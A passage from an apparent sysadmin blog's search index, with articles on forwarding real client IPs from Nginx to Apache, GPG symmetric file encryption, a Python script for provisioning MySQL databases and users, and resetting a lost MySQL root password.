reflect authentic client source addresses.\n","permalink":"/nginx-forward-visitor-real-ip-to-apache/","summary":"\u003cp\u003eA common high-performance web architecture deploys \u003cstrong\u003eNginx\u003c/strong\u003e on the public frontend (port 80/443) to handle TLS termination, static asset caching, and request routing, reverse-proxying dynamic requests to an \u003cstrong\u003eApache\u003c/strong\u003e backend (e.g., listening on port 8080 or localhost).\u003c/p\u003e\n\u003cp\u003eHowever, without explicit header forwarding, Apache logs will show all incoming requests originating from \u003ccode\u003e127.0.0.1\u003c/code\u003e (the reverse proxy IP) rather than the client\u0026rsquo;s actual public IP. This disrupts geolocation, fraud detection, rate-limiting, and security audit trails.\u003c/p\u003e","title":"Forwarding Client Real IPs from Nginx Reverse Proxy to Apache"},{"content":"GnuPG (GPG) is a complete implementation of the OpenPGP standard (RFC 4880). It allows you to encrypt data either symmetrically (using a shared passphrase) or asymmetrically (using public/private key pairs).\nWhen you need to protect sensitive documents (such as financial records, credentials, or backups) before sending them over email or untrusted channels, symmetric GPG encryption provides strong, zero-infrastructure security.\nSymmetric Encryption with a Passphrase To encrypt a file symmetrically using a password:\ngpg --symmetric --cipher-algo AES256 orders.xls (Shortcut: gpg -c orders.xls)\nGPG prompts you twice to enter a strong passphrase. It produces an encrypted binary output file: orders.xls.gpg\nSecurity Tip: Always specify --cipher-algo AES256 to override legacy default ciphers (such as CAST5) with modern, robust AES encryption.\nDecrypting the File The recipient can decrypt the file by running GPG without arguments:\ngpg -d orders.xls.gpg \u0026gt; orders.xls # Or simply: gpg orders.xls.gpg Upon providing the correct passphrase, GPG decrypts and verifies the ciphertext, restoring the original plaintext document.\nASCII-Armored Encryption (Text-Safe) If you need to send encrypted content over text-only channels (chat, email bodies, paste sites) without handling binary files, use the -a / --armor flag:\ngpg --symmetric --armor --cipher-algo AES256 orders.xls This generates an ASCII-armored file (orders.xls.asc) containing a text block:\n-----BEGIN PGP MESSAGE----- Version: GnuPG v2 jA0EBwMC... ... -----END PGP MESSAGE----- ","permalink":"/files-encrypt-with-gpg/","summary":"\u003cp\u003e\u003cstrong\u003eGnuPG (GPG)\u003c/strong\u003e is a complete implementation of the OpenPGP standard (RFC 4880). It allows you to encrypt data either symmetrically (using a shared passphrase) or asymmetrically (using public/private key pairs).\u003c/p\u003e\n\u003cp\u003eWhen you need to protect sensitive documents (such as financial records, credentials, or backups) before sending them over email or untrusted channels, symmetric GPG encryption provides strong, zero-infrastructure security.\u003c/p\u003e\n\u003chr\u003e\n\u003ch3 id=\"symmetric-encryption-with-a-passphrase\"\u003eSymmetric Encryption with a Passphrase\u003c/h3\u003e\n\u003cp\u003eTo encrypt a file symmetrically using a password:\u003c/p\u003e","title":"Encrypting and Decrypting Files with GnuPG (GPG)"},{"content":"When provisioning new web applications or services, setting up clean UTF-8 databases and isolating access permissions to dedicated application users is a routine administrative task.\nUsing the proper character set (utf8mb4 in modern MySQL, or utf8 in legacy environments) prevents multi-byte character encoding errors and collation mismatches.\nThe Standard SQL Provisioning Queries The standard sequence to create an application database with UTF-8 support and grant least-privilege permissions to a dedicated user is:\n-- Create database with UTF-8 encoding CREATE DATABASE `unixawy` CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci; -- Create application user and grant permissions CREATE USER \u0026#39;unixawy_user\u0026#39;@\u0026#39;localhost\u0026#39; IDENTIFIED BY \u0026#39;StrongGeneratedPassword\u0026#39;; GRANT ALL PRIVILEGES ON `unixawy`.* TO \u0026#39;unixawy_user\u0026#39;@\u0026#39;localhost\u0026#39;; FLUSH PRIVILEGES; Python Provisioning Automation Script To avoid repetitive manual command-line tasks, this Python script automates database creation, user creation, privilege assignment, and confirmation prompting:\nFigure 1: Automated database and credential generation.\n#!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34; Automated MySQL Database and User Provisioning Script Author: Ahmad Mahfouz (_N1X_) Description: Provisions a UTF-8 database with an isolated local user. \u0026#34;\u0026#34;\u0026#34; import sys import subprocess import getpass def run_query(sql_query, host, root_user, root_password): \u0026#34;\u0026#34;\u0026#34;Executes a SQL query via the mysql client binary.\u0026#34;\u0026#34;\u0026#34; cmd = [ \u0026#34;mysql\u0026#34;, f\u0026#34;-h{host}\u0026#34;, f\u0026#34;-u{root_user}\u0026#34;, f\u0026#34;-p{root_password}\u0026#34;, \u0026#34;-e\u0026#34;, sql_query ] res = subprocess.run(cmd, capture_output=True, text=True) if res.returncode != 0: print(f\u0026#34;[!] SQL Execution Error: {res.stderr.strip()}\u0026#34;) sys.exit(1) def main(): if len(sys.argv) \u0026lt; 4: print(\u0026#34;Usage: python mysql_provision.py \u0026lt;database_name\u0026gt; \u0026lt;username\u0026gt; \u0026lt;password\u0026gt; [host]\u0026#34;) sys.exit(1) db_name = sys.argv[1] username = sys.argv[2] password = sys.argv[3] host = sys.argv[4] if len(sys.argv) \u0026gt; 4 else \u0026#34;localhost\u0026#34; root_user = input(\u0026#34;MySQL Root User [root]: \u0026#34;).strip() or \u0026#34;root\u0026#34; root_password = getpass.getpass(\u0026#34;MySQL Root Password: \u0026#34;) create_db_query = ( f\u0026#34;CREATE DATABASE IF NOT EXISTS `{db_name}` \u0026#34; f\u0026#34;CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;\u0026#34; ) create_user_query = ( f\u0026#34;CREATE USER IF NOT EXISTS \u0026#39;{username}\u0026#39;@\u0026#39;localhost\u0026#39; IDENTIFIED BY \u0026#39;{password}\u0026#39;;\u0026#34; ) grant_query = ( f\u0026#34;GRANT ALL PRIVILEGES ON `{db_name}`.* TO \u0026#39;{username}\u0026#39;@\u0026#39;localhost\u0026#39;; \u0026#34; f\u0026#34;FLUSH PRIVILEGES;\u0026#34; ) print(\u0026#34;\\n--- Planned SQL Actions ---\u0026#34;) print(create_db_query) print(create_user_query) print(grant_query) print(\u0026#34;---------------------------\\n\u0026#34;) confirm = input(\u0026#34;Execute these statements on target host? (y/N): \u0026#34;).strip().lower() if confirm != \u0026#39;y\u0026#39;: print(\u0026#34;Aborted.\u0026#34;) sys.exit(0) print(\u0026#34;[*] Creating database...\u0026#34;) run_query(create_db_query, host, root_user, root_password) print(\u0026#34;[*] Creating user and assigning privileges...\u0026#34;) run_query(create_user_query, host, root_user, root_password) run_query(grant_query, host, root_user, root_password) print(f\u0026#34;[+] Successfully provisioned database \u0026#39;{db_name}\u0026#39; for user \u0026#39;{username}\u0026#39;.\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: main() ","permalink":"/script-mysql-create-database-utf-8-with-user-and-password/","summary":"\u003cp\u003eWhen provisioning new web applications or services, setting up clean UTF-8 databases and isolating access permissions to dedicated application users is a routine administrative task.\u003c/p\u003e\n\u003cp\u003eUsing the proper character set (\u003ccode\u003eutf8mb4\u003c/code\u003e in modern MySQL, or \u003ccode\u003eutf8\u003c/code\u003e in legacy environments) prevents multi-byte character encoding errors and collation mismatches.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"the-standard-sql-provisioning-queries\"\u003eThe Standard SQL Provisioning Queries\u003c/h2\u003e\n\u003cp\u003eThe standard sequence to create an application database with UTF-8 support and grant least-privilege permissions to a dedicated user is:\u003c/p\u003e","title":"Automation: Creating UTF-8 MySQL Databases and Users via Python"},{"content":"Locked out of MySQL with ERROR 1045 (28000): Access denied for user 'root'@'localhost'?\nWhen root credentials are lost or desynchronized, you cannot change the password while the daemon enforces standard privileges. You must restart the database daemon in a bypass mode, update the authentication tables, and restart the service normally.\nHere are two reliable methods to recover access.\nMethod 1: Using --skip-grant-tables This method starts the daemon without reading the grant tables, allowing local root login without a password.\nStop the running MySQL/MariaDB service:\nsudo service mysqld stop # On systemd systems: # sudo systemctl stop mysqld Start MySQL safely without grant tables:\nsudo mysqld_safe --skip-grant-tables \u0026amp; Log into MySQL without credentials:\nmysql -u root Update the root user password:\nUSE mysql; UPDATE user SET password = PASSWORD(\u0026#34;YOUR_NEW_PASSWORD\u0026#34;) WHERE User = \u0026#39;root\u0026#39;; FLUSH PRIVILEGES; QUIT; (Note: On modern MySQL 5.7+ / 8.0+, use ALTER USER 'root'@'localhost' IDENTIFIED BY 'YOUR_NEW_PASSWORD'; or update authentication_string).\nStop the temporary daemon and restart normally:\nsudo killall mysqld sudo service mysqld start Method 2: Using an --init-file If you prefer an automated single-pass reset without interactive shells:\nCreate an initialization SQL script (e.g., /tmp/reset_pwd.txt):\nUPDATE mysql.user SET Password = PASSWORD(\u0026#39;YOUR_NEW_PASSWORD\u0026#39;) WHERE User = \u0026#39;root\u0026#39;; FLUSH PRIVILEGES; Stop the database service:\nsudo service mysqld stop Execute the init file with mysqld_safe:\nsudo mysqld_safe --init-file=/tmp/reset_pwd.txt \u0026amp; Stop the instance and restart cleanly:\nsudo killall mysqld rm -f /tmp/reset_pwd.txt sudo service mysqld start ","permalink":"/rest-mysql-root-password/","summary":"\u003cp\u003eLocked out of MySQL with \u003ccode\u003eERROR 1045 (28000): Access denied for user 'root'@'localhost'\u003c/code\u003e?\u003c/p\u003e\n\u003cp\u003eWhen root credentials are lost or desynchronized, you cannot change the password while the daemon enforces standard privileges. You must restart the database daemon in a bypass mode, update the authentication tables, and restart the service normally.\u003c/p\u003e\n\u003cp\u003eHere are two reliable methods to recover access.\u003c/p\u003e\n\u003chr\u003e\n\u003ch3 id=\"method-1-using---skip-grant-tables\"\u003eMethod 1: Using \u003ccode\u003e--skip-grant-tables\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003eThis method starts the daemon without reading the grant tables, allowing local root login without a password.\u003c/p\u003e","title":"Resetting MySQL and MariaDB Root Passwords"}]